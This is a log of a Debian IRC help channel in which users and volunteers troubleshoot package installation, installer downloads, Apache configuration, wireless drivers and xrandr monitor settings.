| 12:15.30 | babilen | bala`: Either install it or search on http://packages.debian.org -- The package for "truncate" is coreutils (should be installed) |
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| 12:16.23 | bala` | icebrain: Oops :( |
| 12:16.36 | bala` | babilen: Sure, Just installed and doing an apt-file update. Thanks |
| 12:16.56 | acemi | Bartzy: i didn't have any problem with ext4 and it seems stable |
| 12:17.18 | babilen | bala`: In other words: You really shouldn't have to install anything to get "truncate" |
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| 12:17.53 | Bartzy | acemi: And you felt a performance improvement over ext3 ? |
| 12:18.08 | bala` | babilen: Yes, I too assumed it to be coreutils. But, coreutils is installed and yet, it says truncate is not there. |
| 12:18.34 | bala` | both as root and as normal user, tried as root, just in case... |
| 12:19.01 | acemi | no, I have no heavy disk usage but checking disk at the boot time is faster |
| 12:21.26 | acemi | but i didn't see any reason to not use ext4 |
| 12:21.36 | babilen | bala`: Yes, you are right. It is not in Lenny's version of coreutils. |
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| 12:21.41 | DarkUranium | hey guys |
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| 12:22.00 | DarkUranium | I've a question here... I've setup a vserver, but now I need to forward a subnet to it |
| 12:22.20 | bala` | babilen: Oh!. Then which package has it been put into ? Any info would be really great. |
| 12:22.55 | DarkUranium | the host computer has a number of IPs, the main IP assigned to it and a subnet for whatever tasks at hand -- what I need to do is keep the main IP directed at the computer, but redirect all subnet requests (let's call it 123.123.123.123/29) to a vserver |
| 12:23.29 | karthick87 | I wanna try debian which version i have download??? |
| 12:23.55 | karthick87 | *have to |
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| 12:24.09 | icebrain | !tell karthick87 about download |
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| 12:24.49 | icebrain | thinks Lenny netinstall is the best for most installations |
| 12:25.01 | DarkUranium | afk |
| 12:25.03 | cronix | anyone has managed to get an a2dp bluetooth headset running on debian squeeze and can get me a few sources of information? |
| 12:25.06 | cronix | im kinda helpless here since the bluez wiki which is referenced kinda anywhere isnt existing anymore |
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| 12:26.15 | Zambezi | How can I solve this problem in Squeeze? Version mismatch detected between the NVIDIA libGL.so and libGLcore.so shared libraries (libGL.so version: 195.36.15; libGLcore.so version: 195.36.31). Please try reinstalling the NVIDIA driver. |
| 12:27.10 | karthick87 | icebrain: There is a long list here http://cdimage.debian.org/debian-cd/5.0.7/i386/iso-cd/ |
| 12:27.21 | karthick87 | icebrain: which one to download |
| 12:28.03 | icebrain | karthick87: will you have wired internet connection while installing Debian? |
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| 12:29.13 | karthick87 | currently i am using ubuntu.I would like to try debian now |
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| 12:29.26 | Bartzy | anyone is using Dell Latitude E4310 ? |
| 12:29.44 | karthick87 | icebrain: But i am confused in choosing the download |
| 12:29.49 | babilen | bala`: I can't find it in Lenny. Sorry. |
| 12:29.55 | icebrain | karthick87: yes, but do you connect to the internet through cable, or do you use wifi? |
| 12:30.14 | icebrain | karthick87: if you use wired, you should get the netinstall CD: http://cdimage.debian.org/debian-cd/5.0.7/i386/iso-cd/debian-507-i386-netinst.iso |
| 12:30.19 | babilen | karthick87: Are you installing it on a personal machine? If so, then I would recommend to install squeeze with the daily-built |
| 12:30.20 | Debian-sugar-vb | I used squeeze beta net install sucessfully with Virtualbox 3.2 OSX.... |
| 12:30.25 | karthick87 | I use wired connection |
| 12:30.28 | abrotman | !tell karthick87 about netinst |
| 12:30.28 | bala` | babilen: No problem. and thanks for your time. |
| 12:30.35 | babilen | !tell karthick87 about daily |
| 12:30.40 | zealiod | i have chrooted an ssh session... but can not acces bash... error: can not execute /bin/sh |
| 12:31.04 | icebrain | babilen: doesn't the installer still break occasionally? |
| 12:31.09 | babilen | !tell karthick87 -about install squeeze |
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| 12:32.36 | babilen | icebrain: I haven't used it, but a bunch of people in here reported success and it is time to test it. I am still not sure if #d has reached consensus on what to recommend and I tend to recommend Squeeze these days. (for personal laptops et al) *shrug* |
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| 12:33.28 | abrotman | icebrain: it really shouldn't be broken at this point .. if it is, someone should be told that it's nto working correctly |
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| 12:33.57 | icebrain | babilen: fair enough. |
| 12:34.32 | Debian-sugar-vb | advantage of Virtual box (ubuntu) is it is OS agnostic and works with most OS's |
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| 12:35.26 | satellit__ | s/OS/hardware |
| 12:35.36 | abrotman | / |
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| 12:35.40 | Guest95339 | hi, tell me please, command for "increase volume +10%" ? thx |
| 12:35.43 | Bennit | Hi |
| 12:35.57 | abrotman | Guest95339: in what? |
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| 12:36.01 | Bennit | anyone know how to REALLY KILL a user |
| 12:36.07 | abrotman | slay |
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| 12:36.08 | Bennit | slay doesn't work, can't kill it's processes |
| 12:36.15 | abrotman | !zombie |
| 12:36.16 | dpkg | A zombie process is one which has issued an exit(), but whose parent has not yet issued wait() (or one of its variants) to retrieve the exit code. This usually means the parent process is buggy. You can't kill a zombie, because it's already dead; you have to kill the parent, or just ignore the zombie. |
| 12:36.25 | Bennit | and w & htop crash when I call it |
| 12:36.38 | Guest95339 | abrotman: in shell |
| 12:36.46 | Bennit | in top I can still see the processes |
| 12:36.54 | Bennit | top doesn't say they're zombies |
| 12:36.54 | icebrain | Guest95339: if you use Alsa (and not PulseAudio), you can do "amixer sset Master +10%" |
| 12:37.08 | bala` | babilen: BTW, Its available again in Squeeze. So, probably time for an upgrade :) |
| 12:37.10 | abrotman | Bennit: kill the PPID |
| 12:37.16 | icebrain | Guest95339: try "man amixer" too |
| 12:37.20 | babilen | karthick87: I would recommend using Squeeze's netinstall for your installation. |
| 12:37.23 | Guest95339 | icebrain: thanks |
| 12:37.29 | abrotman | icebrain: probably should have started with man ... |
| 12:37.34 | babilen | bala`: Yes, it is available in Squeeze's coreutils |
| 12:37.57 | bala` | babilen: Yes, Thanks. I will start a dist-upgrade now. |
| 12:38.08 | icebrain | abrotman: why? if that's all (s)he wants, it works |
| 12:38.14 | babilen | dpkg: tell bala` about lenny->squeeze |
| 12:38.17 | abrotman | !tell icebrain about fish |
| 12:38.24 | abrotman | !tell icebrain about fish |
| 12:38.26 | abrotman | wtf |
| 12:38.37 | abrotman | thinks the bot is lagging ... |
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| 12:38.41 | babilen | bala`: http://www.debian.org/releases/squeeze/releasenotes |
| 12:38.44 | karthick87 | babilen: I would like to install it offline |
| 12:38.51 | Bennit | abrotman: how do I get the ppid? only find a manpage for the C function |
| 12:38.52 | afuentes | A@server $ ssh -L 8080:www.debian.org:80 localhost; wget serverip:8080 --> connection refused. wget 127.0.0.1:8080 --> connection accpeted! anybody know why? |
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| 12:39.29 | bala` | babilen: Thanks again |
| 12:39.40 | babilen | karthick87: Ok, then you can download CD1 (the normal one for gnome, or one of the flavours) or DVD1 which will most likely contain anything you need. If you want *all* packages, you'll have to download the complete set. |
| 12:39.43 | zmitya | afuentes: maybe the virtualhost does not match with your request |
| 12:40.00 | afuentes | zmitya, what virtualhost? |
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| 12:40.19 | zmitya | afuentes: the webserver at www.debian.org |
| 12:40.28 | afuentes | oh |
| 12:40.31 | karthick87 | babilen: Can you give me the link for DVD1 |
| 12:40.49 | karthick87 | also CD1 |
| 12:41.10 | bala` | karthick87: If you are somewhere around Chennai in India or Madurai in India, you can talk to the local GNU/Linux user groups. They will already have a copy of the CDs/DVDs |
| 12:41.35 | zmitya | afuentes: edit your hosts file and try telnet new_url 8080 where new_url is a valid hostname, which is known by the remote webserver |
| 12:41.37 | icebrain | karthick87: http://www.debian.org/CD/http-ftp/ has all the links |
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| 12:43.20 | karthick87 | thank you :) |
| 12:43.41 | karthick87 | bala`: I am in chennai |
| 12:43.55 | afuentes | i dont quite get what you mean zmitya, can you put an example? |
| 12:43.57 | babilen | karthick87: http://d-i.debian.org/daily-images/amd64/daily/ and http://wiki.debian.org/DebianInstaller/Today (replace "amd64" with your architecture) |
| 12:44.14 | abrotman | watches two different people give him totally different links and instructions .. yay |
| 12:44.17 | bala` | karthick87: Please google for ilugc. Its a very active group with lots of debian users. |
| 12:44.32 | babilen | abrotman: I just realised the same thing. Argh, confusion! |
| 12:44.48 | bala` | karthick87: You can join the group and make a request in the mailing list. Some might have downloaded Squeeze as well. |
| 12:44.59 | bala` | karthick87: *Someone |
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| 12:45.25 | abrotman | or three people ... |
| 12:46.04 | babilen | icebrain: lets coordinate this :) |
| 12:46.14 | icebrain | babilen: I'll stop, sorry ;) |
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| 12:46.51 | winfix | still dist-upgrading.. |
| 12:46.55 | winfix | good morning |
| 12:46.57 | babilen | karthick87: Are you confused? |
| 12:46.59 | babilen | winfix: welcome |
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| 12:47.59 | karthick87 | babilen: I have given this http://d-i.debian.org/daily-images/i386/daily/ |
| 12:48.14 | babilen | karthick87: Yes, that would work. |
| 12:48.30 | karthick87 | The requested URL /daily-images/i386/daily/ was not found on this server. |
| 12:48.32 | babilen | argh |
| 12:48.53 | bonjoyee | any news about the lcd cleartype fonts patch coming to debian? |
| 12:49.01 | babilen | karthick87: One second please. |
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| 12:49.33 | bonjoyee | heard that some patent preventing it ..expired/expires soon!! |
| 12:50.14 | abrotman | bonjoyee: do you have a reference for that ? |
| 12:50.50 | muddd | <PROTECTED> |
| 12:51.04 | abrotman | <PROTECTED> |
| 12:51.24 | abrotman | winfix: uh what? |
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| 12:51.49 | zmitya | afuentes: lets assume that you have your tunnel already... then do: echo "127.0.0.1 www.debian.org" >> /etc/hosts |
| 12:52.12 | bonjoyee | @abrotman: http://www.freetype.org/patents.html |
| 12:52.23 | zmitya | afuentes: after this you can do wget http://www.debian.org:8080 |
| 12:52.36 | abrotman | bonjoyee: i meant a Debian reference |
| 12:52.58 | winfix | abrotman: yes ..2gb of downloads ... I put it last night and when to sleep |
| 12:53.12 | mavhk | that's truetype, not cleartype |
| 12:54.11 | Trewas | bonjoyee: I think the patch is already included in the debian package, software patents are usually ignored in debian unless the patent holder actively whines |
| 12:54.59 | mavhk | http://david.freetype.org/cleartype-patents.html |
| 12:57.34 | bonjoyee | Trewas: is doesn't look like the patch is applied..as the fonts on debian are quite 'rough' than they were on ubuntu |
| 12:58.34 | Trewas | bonjoyee: hmm could be I was thinking about the ubuntu package |
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| 13:05.28 | babilen | karthick87: Sorry, British Telecom is apparently not such a good ISP. Have other people in this channel already provided a workig link to the weeklies or do you still need it? |
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| 13:07.41 | karthick87 | babilen: Thankyou i am downloading CD1 from http://cdimage.debian.org/debian-cd/5.0.7/i386/iso-cd/ |
| 13:08.28 | karthick87 | babilen: Thankyou i am downloading CD1 from http://cdimage.debian.org/debian-cd/5.0.7/i386/iso-cd/ |
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| 13:09.30 | abrotman | so you said |
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| 13:09.37 | khem_ | hello |
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| 13:09.43 | vallhalla | hello all |
| 13:09.52 | khem_ | how do i do if i want to restore the original configuration af a package? |
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| 13:10.05 | khem_ | Malmis, long time no see |
| 13:10.09 | khem_ | many years ago |
| 13:10.14 | Malmis | is it? |
| 13:10.16 | Malmis | :P |
| 13:10.21 | khem_ | Malmis: you from Uppsala right? |
| 13:10.21 | Malmis | i was just here.. |
| 13:10.25 | Malmis | yes.. |
| 13:10.34 | khem_ | my previous nick was sandyman |
| 13:10.40 | Malmis | haha |
| 13:10.50 | Malmis | little shit |
| 13:10.53 | Malmis | :P |
| 13:10.54 | Bartzy | I have a problem with a E4310 laptop and gnome in debian: When connecting an external display, it's not possible to view it as a clone of the original screen.. only expanding is possible |
| 13:10.59 | khem_ | How do I re-install a package (apache2) to get it's original configruation? |
| 13:11.16 | bonjoyee | are cleartype and freetype not related?..cause whenever i google for cleartype...its has something to do with freetype! |
| 13:11.20 | khem_ | Malmis: what do you do these days? started working with Linux, manybe should go privmsg btw |
| 13:11.26 | khem_ | offtopic :D |
| 13:11.37 | Malmis | :P |
| 13:12.43 | vallhalla | khem_: delite any config files you have made for apache and then reinstall |
| 13:13.05 | bonjoyee | @khem_ aptitude purge apache2 and then aptitude install apache2 |
| 13:13.23 | abrotman | !tell khem_ about confmiss |
| 13:13.44 | abrotman | bonjoyee: wrong package |
| 13:13.53 | khem_ | ok, was like before then. dpkg --purge and reinstsall |
| 13:13.59 | Mowee | salut ^^ |
| 13:14.05 | abrotman | khem_: see what the bot told you |
| 13:14.30 | JasonWoof | there's a gnome-core update on unstable that requires me to install evolution, totem, gnome-screensaver and a bunch of other crap I don't use or want. Is there a way around this? |
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| 13:14.55 | khem_ | abrotman: oh thankyou. that was much more useful solution |
| 13:15.04 | khem_ | efficent* |
| 13:15.27 | JasonWoof | or should I just get over it and install all that stuff? |
| 13:15.32 | abrotman | JasonWoof: it appears to be a depends |
| 13:15.34 | icebrain | JasonWoof: do you really need gnome-core? I think it's just a meta-package |
| 13:15.56 | abrotman | it is just a meta, but it's easier than picking and choosing |
| 13:16.31 | abrotman | he could just install gnome-panel, gnome-session, etc .. but gets kind of irritating |
| 13:16.56 | JasonWoof | they just became depends, they used to be in gnome-desktop-environment |
| 13:18.14 | abrotman | JasonWoof: http://packages.debian.org/changelogs/pool/main/m/meta-gnome2/meta-gnome2_2.30+7/changelog |
| 13:18.45 | JasonWoof | abrotman: yeah, that's how I know they used to be in gnome-desktop-environment |
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| 13:19.11 | JasonWoof | I find it odd that they're making gnome fit on a CD (making it smaller) makes gnome bigger on my machine |
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| 13:20.16 | JasonWoof | ok, I guess I'll just install it all. I just wanted to know if there was something fairly easy, like a gnome-minimal meta package or something |
| 13:21.19 | bonjoyee | how to integrate things in /opt/lib or /opt/bin with the entire system/for all users |
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| 13:21.34 | abrotman | JasonWoof: sadly, that's supposed to be the minimal one |
| 13:21.56 | JasonWoof | abrotman: I thought so, it's sad that it just got a lot less minimal |
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| 13:22.25 | abrotman | JasonWoof: you could complain in #debian-gnome on irc.oftc.net .. but i doubt you'll sway them |
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| 13:23.03 | JasonWoof | abrotman: yeah, I'm sure it's been discussed, and if there's any swaying to be done, it'll be by people more known/connected/respected than me |
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| 13:23.26 | abrotman | unless you can come up with a good argument |
| 13:23.28 | delby | hi, i am using squeeze i m trying to add iceweasel to the desktop and panel in gnome and remove epiphany and i want it to be mandatory/systemwide. i know it can be done with gconftool-2 but i am having great difficulties understanding how. |
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| 13:25.07 | zealiod | how can i run programs with sudo in a chroot? |
| 13:25.27 | khem_ | abrotman: Too bad, it did not work :-( |
| 13:25.46 | abrotman | khem_: you probably used the wrong package name |
| 13:25.51 | abrotman | which one did you try? |
| 13:26.50 | khem_ | abrotman: dpkg --purge apache2 && aptitude -o DPkg::Options::="--force-confmiss" install apache2 |
| 13:27.36 | khem_ | oh maybe its something like apache2-common or similar that holds the confs |
| 13:27.42 | khem_ | (I did remove the conftree by hand too) |
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| 13:27.58 | abrotman | it's apache2.2-common .. i said above that 'apache2' was the wrong package |
| 13:28.02 | abrotman | and you don't need to purge the package |
| 13:28.13 | abrotman | read what the bot told you |
| 13:28.28 | khem_ | oh, sorry :) |
| 13:28.35 | khem_ | yes I know i can simply reinstall |
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| 13:28.43 | khem_ | but I first read the previous replies. |
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| 13:29.04 | Scuttle | hum...how do I make debian scan for new harddrives? I "plugged in" a new disk in a virtual session I have... |
| 13:29.06 | abrotman | that's not what the bot told you to do |
| 13:29.25 | khem_ | Now got it working :-) |
| 13:29.34 | abrotman | you're saying "reinstall the package, but also, i really need new config files because i was stupid and deleted the manually" |
| 13:29.48 | abrotman | Scuttle: SATA/SCSI ? |
| 13:29.59 | Bartzy | how do I delete my apt-cache ? apt-cache show is showing me an older version of a package that I know there's a new one in the repo |
| 13:30.06 | abrotman | !scsi rescan |
| 13:30.06 | dpkg | methinks scsi rescan is echo "- - -" > /sys/class/scsi_host/host#/scan (where # is the number of the relevant SCSI host). Any new devices found will be listed in /proc/scsi/scsi. Functionality now in sysfs (scsi host has scan node, scsi device has a rescan node). Alternatively, aptitude install scsitools && rescan-scsi-bus.sh, or see the scsiadd package. |
| 13:30.08 | khem_ | anyway.. thankyou for the help, now I am aware of the most efficent solution to handle issues like these =) |
| 13:30.13 | abrotman | enjoy |
| 13:30.17 | Scuttle | abrotman: scsi |
| 13:30.53 | daemonkeeper | Bartzy: apt-get update does take care. |
| 13:31.01 | daemonkeeper | Or aptitude |
| 13:31.29 | Scuttle | aah, there we go :) |
| 13:32.00 | Bartzy | daemonkeeper: For some reason it doesn't.. but when I try apt-get upgrade, it shows that that packages needs upgrading... (I have the older package installed) |
| 13:32.09 | daemonkeeper | _update_ not upgrade |
| 13:32.23 | Bartzy | daemonkeeper: I know, tried that and it still shows Version: 1.0. |
| 13:32.53 | daemonkeeper | The update is succesful? |
| 13:32.54 | daemonkeeper | +s |
| 13:32.55 | Bartzy | yes. |
| 13:33.05 | Bartzy | It's my own repository, using apt-ftparchive to create the files. |
| 13:33.06 | abrotman | Bartzy: which version of Debian? |
| 13:33.12 | Bartzy | squeeze. |
| 13:33.19 | abrotman | Bartzy: and you should probably be using aptitude |
| 13:33.25 | Bartzy | tried that as well |
| 13:34.42 | Bartzy | When I try to add my repository to a new computer, and do aptitude update, then aptitude show my_package, then version 1.1 (the new one) shows |
| 13:34.53 | Bartzy | but on my own computer, when doing that. I see version 1.0 . |
| 13:35.35 | daemonkeeper | Sure your repository has the most recent meta data? |
| 13:36.40 | Bartzy | yes, and as I said it works on another computer... |
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| 13:38.15 | daemonkeeper | Well, the process for finding updates is another one rather than to fetch the whole repo metadata. But don't ask me in detail, I'm not that deep in Debian repository maintenance. |
| 13:38.44 | Bartzy | when looking at my "Packages" file of the repo |
| 13:38.49 | Bartzy | both versions appear.. |
| 13:39.09 | khem_ | Hmm, I got some issues when reinstalling Apache, could somebody please pastebin to me the sinlinks needed in mods-enabled ? |
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| 13:39.59 | trifler | is there an arguemnt to unzip that extracts all files irregardelss if there is a subdir within the .zip ? |
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| 13:41.28 | winfix | trifler: find . -iname *.zip -exec unzip \{\} \; |
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| 13:42.30 | bla | Is it possible to install testing debian version with netinstall CD? I don't see a question during expert install nor testing-netinstall-cds. |
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| 13:42.59 | winfix | bla: i think you must do a full-upgrade after install it |
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| 13:43.17 | trifler | winfix: seems easy enough :D |
| 13:43.26 | abrotman | Bla: which netinst ? |
| 13:43.42 | bla | debian-507-i386-netinst.iso |
| 13:43.59 | bla | winfix, I'm installing on VM currently and would like to keep the disc image as small as possible |
| 13:44.09 | bla | winfix, i guess it'd be better to install it directly |
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| 13:44.16 | DogWater | does anyone have an article that explains quickly and easily how to integrate non-free firmware into the CD installer? |
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| 13:45.04 | babilen | karthick87: Sorry, internet is quite wonky. I am not sure if you got my message regarding the Squeeze weeklies. You are downloading the Lenny images not, but I would like you to consider installing a newer version of Debian available from: http://cdimage.debian.org/cdimage/weekly-builds/i386/iso-dvd/ |
| 13:45.12 | abrotman | !tell DogWater about installer firmware |
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| 13:45.26 | abrotman | babilen: s/not/now/ |
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| 13:45.40 | andreas122 | Hello, how is the most eazy method to install MADWIDI and load it on a pc without internet??? |
| 13:45.46 | andreas122 | Hello, how is the most eazy method to install MADWIDI and load it on a pc without internet??? |
| 13:46.15 | andreas122 | test |
| 13:46.17 | bla | andreas122: Try repeating two times more. And you lack few '?' I guess. |
| 13:46.17 | babilen | abrotman: hehe, true :) |
| 13:46.41 | andreas122 | bla: i just testing it. |
| 13:46.46 | andreas122 | sory |
| 13:46.52 | abrotman | use atheros |
| 13:46.57 | babilen | andreas122: What is MADWIDI? |
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| 13:47.07 | babilen | Is that madwifi? |
| 13:47.13 | andreas122 | i mean madwifi |
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| 13:47.34 | andreas122 | yes my pcmcia wireless card it seems that dosnt not work |
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| 13:48.19 | abrotman | andreas122: what is 'uname -r' |
| 13:48.26 | babilen | andreas122: You most likely want either ath5k or ath9k -- ask dpkg about it â /msg dpkg ath5k |
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| 13:49.22 | andreas122 | its a TL-WN510 |
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| 13:49.46 | Bartzy | Is there a command to turn an external monitor on and the internal monitor off and vice-versa ? in gnome ? |
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| 13:50.44 | abrotman | andreas122: what is 'uname -r' |
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| 13:51.48 | eshat | Does anyone use the new Flash 10.2 beta on linux and recognize any performance inprovements when playing flash videos ? |
| 13:52.03 | andreas122 | its linux debian 2.6.26-2-686 #1 SMT --- i386 gnu/linux |
| 13:52.27 | miasma | eshat: should it work faster? |
| 13:52.52 | eshat | miasma, yes I read, that it has HW Accelaration now, also for linux (32 bit only) |
| 13:53.18 | miasma | probably not available via debian repositories in the near future? |
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| 14:00.50 | Azrael_- | what tool should i use instead of apt? |
| 14:01.10 | acemi | eshat: it's very fast |
| 14:01.22 | eshat | acemi: what GFX Card do you use ? |
| 14:01.29 | acemi | intel |
| 14:01.45 | acemi | 82865G |
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| 14:04.03 | acemi | and it solves some problems too. for example 10.1 didn't run in full-screen mode in my machine but 10.2 works |
| 14:04.26 | lixus | how and where can I get old debian relases ? I need a Debian 3.0 and i am looking for a netinstaller iso |
| 14:05.02 | abrotman | !tell lixus about ado |
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| 14:05.26 | Bartzy | Is there a command to turn an external monitor on and the internal monitor off and vice-versa ? in gnome ? |
| 14:05.37 | lixus | abrotman, thanks |
| 14:05.57 | abrotman | Bartzy: xrandr ? grandr? |
| 14:07.08 | Bartzy | xrandr is through CLI ? |
| 14:07.10 | Bartzy | how can I use it ? |
| 14:07.14 | abrotman | it has a man page |
| 14:07.30 | Bartzy | what's grandr ? |
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| 14:11.10 | babilen | Bartzy: You could also look at your panel and: System â Preferences â Monitors (or something to that effect) |
| 14:11.56 | eshat | Hmmm, maybe HW accelaration will be supported if I use the nspluginwrapper ? |
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| 14:14.21 | KaffeeJunky123 | What daemon is responsible for the update applet thing in Debian Squeeze? It doesn't seem to run on my Lenny->Squeeze updated installation, atleast I don't get any update notifications automatically |
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| 14:15.24 | Bartzy | babilen: I need a CLI tool, so I can bind Fn+F7 to it |
| 14:15.33 | Bartzy | How can I find the XID of a monitor ? |
| 14:15.40 | Bartzy | xrandr wants it for the --output flag |
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| 14:19.10 | abrotman | KaffeeJunky123: update-notification or something like that |
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| 14:19.42 | KaffeeJunky123 | abrotman: should I add it to the list of on startup applications? |
| 14:19.51 | KaffeeJunky123 | abrotman: it's installed |
| 14:20.01 | KaffeeJunky123 | abrotman: but it doesn't seem to be in that list |
| 14:20.09 | babilen | Bartzy: AFAIK you can also use the name, just run "xrandr" without arguments to get an overview of the available outputs. |
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| 14:21.28 | Bartzy | what "name" ? |
| 14:21.34 | Bartzy | I only get screen 0 and a list of resuoltions |
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| 14:21.44 | Bartzy | oh you mean VGA1 and those.. ok :) |
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| 14:22.02 | babilen | Bartzy: Like "VGA-0" or "LVDS" ... yeah those |
| 14:22.09 | abrotman | KaffeeJunky123: heck if i know .. i hated it .. i made it die |
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| 14:22.34 | qwd | In bash commands aren't saved to history when you start with space, can I make it so it ONLY goes to history when starting with space? |
| 14:22.49 | KaffeeJunky123 | abrotman: why did you hate it? |
| 14:23.07 | KaffeeJunky123 | abrotman: it was just diplaying a small update notification icon in the gnome panel |
| 14:23.09 | KaffeeJunky123 | loved it |
| 14:23.10 | abrotman | because it was wrong all the time |
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| 14:25.08 | KaffeeJunky123 | it also seems like my upgrade from lenny to squeeze somehow killed the networkmanager |
| 14:25.43 | KaffeeJunky123 | but i prefer traditional ifup anyways =) |
| 14:27.47 | Bartzy | When my monitors are cloned, the internal monitor is not showing the whole screen (it looks like it tries to show 1280x1024, when it's resolution is 1366x768).. can it be resolved ? Using intel graphics adapter |
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| 14:31.39 | KaffeeJunky123 | Bartzy: please elaborate your screen configuration and how did you set the whole thing up |
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| 14:33.37 | stew | qwd: try asking in #bash |
| 14:33.51 | qwd | stew: thanks, I'll do that! |
| 14:34.40 | Bartzy | KaffeeJunky123: I have a screen called DP1 (internal laptop screen) with 1366x768 resolution, and a Dell 19" external screen , 1280x1024, connected via VGA... |
| 14:34.46 | Bartzy | didn't configure anything, just tried to use "Monitors" in Gnome and xrandr without much luck :| |
| 14:35.02 | Bartzy | I just want regular clone screen, one in 1280x1024 (external) and one in 1366x768 (internal) |
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| 14:35.58 | KaffeeJunky123 | Bartzy: paste the parts of xorg.conf that contains the configuration for your monitors to some pasting site eg pastie.org |
| 14:36.13 | stew | sounds like he might not have an xorg.conf |
| 14:36.14 | Bartzy | KaffeeJunky123: OK, but I didn't change it... |
| 14:36.28 | Bartzy | and Where do I find my xorg.conf ? It's not been replaced by some weird gnome thingie ? |
| 14:36.40 | stew | Bartzy: /etc/X11 if it exists at all |
| 14:36.49 | OpenTokix | Bartzy: normaly you dont need one, but as stew said |
| 14:36.51 | Bartzy | how X works if it doesn't exist ? |
| 14:37.00 | OpenTokix | Bartzy: it autodetects everything |
| 14:37.03 | Bartzy | btw, xrandr hangs the system a lot... |
| 14:37.10 | KaffeeJunky123 | stew: doesn't that gnome monitor tool write to xorg.conf? |
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| 14:37.26 | Bartzy | no xorg.conf |
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| 14:37.39 | stew | KaffeeJunky123: no idea. i certainly doubt it |
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| 14:38.00 | Bartzy | actually xrandr --output VGA1 --off (to disable external screen), and xrandr --output VGA1 --auto' (to enable it) seems ok, but |
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| 14:38.17 | Bartzy | *seems ok, but xrandr hangs the system from time to time :| |
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| 14:39.46 | Bartzy | how can I do a conditional command, where if grep finds something, do command1, if it doesn't, do command2.. but I prefer no 'if' and just && ? |
| 14:40.15 | petemc | thats an odd preference |
| 14:40.58 | Bartzy | I want it in a shortcut command :p |
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| 14:41.27 | paradigm | Bartzy: || |
| 14:41.38 | paradigm | it's like &&, except ``or'' |
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| 14:42.42 | abrotman | why not just use -exec ? |
| 14:43.37 | Bartzy | why xrandr hangs the system :( |
| 14:44.28 | stew | Bartzy: which graphics drivers are you using? |
| 14:45.24 | KaffeeJunky123 | something seems to be really really wrong with my keyboard configuration, no ctrl+alt+X combination is working o_o |
| 14:46.11 | khem_ | Hmm, I got some issues when reinstalling Apache, could somebody please pastebin to me the sinlinks needed in mods-enabled ? |
| 14:46.46 | khem_ | s/sin/sym/g |
| 14:47.06 | KaffeeJunky123 | nvm ctrl+alt was bound to switching keyboard layout >_< |
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| 14:48.12 | Bartzy | stew: i915 |
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| 14:48.25 | andreas122 | I Have install debian netinstall lenny, without connet to a network!, is ath5k installed? How i can chek it?? |
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| 14:48.55 | Bartzy | stew: It's so weird that the clone doesn't work.. it's like the resolution of each monitor is still the normal resolution, but the size of the screen (and the panels) is determined by the primary screen (external) |
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| 14:49.13 | Bartzy | so the panels are not finishing at the end in the internal screen, and I can't see the bottom in the internal screen.. |
| 14:49.59 | stew | khem_: none are needed, depending on your configuration |
| 14:51.12 | andreas122 | how i can check if 'ath5k' is installed? |
| 14:51.48 | Bartzy | stew: https://bugzilla.gnome.org/show_bug.cgi?id=530969 |
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| 14:51.56 | Bartzy | I think this fixes my problem.. but how can I patch my gnome |
| 14:51.58 | Bartzy | it's a package |
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| 14:52.09 | Bartzy | and probably a bad idea to patch it ? or maybe it's only patching xrandr ? |
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| 14:55.25 | pif | hi, what's the command to update the modules list? |
| 14:55.44 | pif | as seen by modprobe |
| 14:55.59 | khem_ | stew: how are the symlinks done? do i just symlink the .load file with the same filename in that directory? |
| 14:56.00 | icebrain | andreas122: "ath5k is included in the mainline Linux kernel since 2.6.25. It is present in Debian kernel images since 2.6.24 and included in Lenny. " |
| 14:56.34 | icebrain | andreas122: so, if you have Lenny, ath5k is already in your kernel |
| 14:57.00 | abrotman | it is mildly buggy in lenny's kernel, the bpo kernel has much better ath5k |
| 14:57.11 | andreas122 | icebrain: but i have netinstall vision with only the very base system, i was not connekt to the internet while i making the installetion |
| 14:57.35 | pif | please? |
| 14:57.47 | andreas122 | how i can see this driver? |
| 14:58.13 | andreas122 | i mean i have a tl-wn510g card, how i can connet to the internet with this? |
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| 15:00.29 | stew | khem_: "a2enmod modulename" creates both symlinks |
| 15:00.49 | iulhk | when starting a sevice getting this error "error opening security policy file /etc/X11/xserver/SecurityPolicy" ? |
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| 15:03.10 | Rdogg1 | guys, how do i install the gd library and to work with PHP? ive installed php5-gd, gdlib2-xpm and gdlib-dev but it still fails |
| 15:03.21 | andreas122 | <PROTECTED> |
| 15:03.58 | andreas122 | i have debian lenny withour x. |
| 15:04.08 | andreas122 | in my old laptop\ |
| 15:04.10 | Rdogg1 | anyone any idea? |
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| 15:05.30 | krowa | Hi. I want to make link do directory (ln) but not symbolic |
| 15:05.32 | krowa | or... |
| 15:05.44 | icebrain | Rdogg1: have you restarted the webserver? |
| 15:06.03 | krowa | I want to make link but when I cd this dir when I write pwd I want to see not target dir |
| 15:06.10 | Bartzy | From time to time, my internal LCD monitors flickers black for a second.. WTF ? :p |
| 15:06.22 | krowa | What I mean. I'm in /server/web/page/linked-dir |
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| 15:06.51 | krowa | back: I'm in /server/web/page/linked -> /shared/linked |
| 15:06.55 | icebrain | krowa: you can't do hard links to directories, as far as I know |
| 15:07.07 | krowa | when I cd /server/web/page/linked and do pwd I see /shared/linked |
| 15:07.20 | krowa | icebrain yeha I know that ;] |
| 15:07.27 | krowa | I don't want to link each file but dir :) |
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| 15:16.29 | Bartzy | It's impossible to use Debian with laptops with Intel GPUs... |
| 15:17.22 | eshat | Bartzy: it isn't, I am |
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| 15:18.54 | jelly | Bartzy: depends on the GPU in question. |
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| 15:19.42 | jelly | Rdogg1: typically, php5-gd is enough. Verify it's listed using a handy phpinfo() page |
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| 15:37.50 | Bop | !vlc |
| 15:37.50 | dpkg | [vlc] VLC media player, a free software multimedia player developed by the VideoLAN project, packaged for Debian. For DVD support, ask me about <dvd playback>. Embedded video is buggy in 0.9.x, see http://forum.videolan.org/viewtopic.php?f=13&t=51124 and VLC ticket #2136; resolved as of version 1.0.0. http://www.videolan.org/support/faq.html #videolan on irc.videolan.org. |
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| 15:38.05 | Bop | ,versions vlc |
| 15:38.07 | judd | Package vlc on i386 -- etch: 0.8.6-svn20061012.debian-5.1+etch3; etch-security: 0.8.6-svn20061012.debian-5.1+etch3; lenny: 0.8.6.h-4+lenny2; lenny-security: 0.8.6.h-4+lenny2.3; sid: 1.1.3-1; squeeze: 1.1.3-1; experimental: 1.1.5-3 |
